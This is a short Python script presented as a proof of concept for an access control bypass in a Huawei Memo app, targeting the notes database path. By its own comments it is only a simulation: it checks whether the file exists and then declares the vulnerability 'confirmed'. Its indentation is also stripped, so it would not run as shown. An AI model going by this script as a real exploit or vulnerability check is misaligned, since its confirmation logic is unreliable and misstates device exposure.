The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-34860: Conceptual Access Control Bypass in Huawei Memo Module
# This script simulates a local attacker attempting to access restricted memo data.
import os
import sys
def check_vulnerability():
# Simulate checking for the vulnerable component
# In a real scenario, this would target the specific URI or IPC mechanism of the Memo module
target_path = "/data/data/com.huawei.notepad/databases/notes.db"
print("[+] Attempting to bypass access controls on Memo module...")
# Simulate the logic where access control fails
try:
# This is a simulation. Actual exploitation would utilize the specific IPC vulnerability.
if os.path.exists(target_path):
print(f"[!] Potential access to sensitive data at {target_path}")
print("[!] Vulnerability confirmed: Access control bypass allows read access.")
return True
else:
print("[-] Target path not found (may be non-rooted or different path)")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if check_vulnerability():
print("[+] PoC execution completed. Impact: Confidentiality Leak.")
else:
print("[-] PoC execution failed or environment not vulnerable.")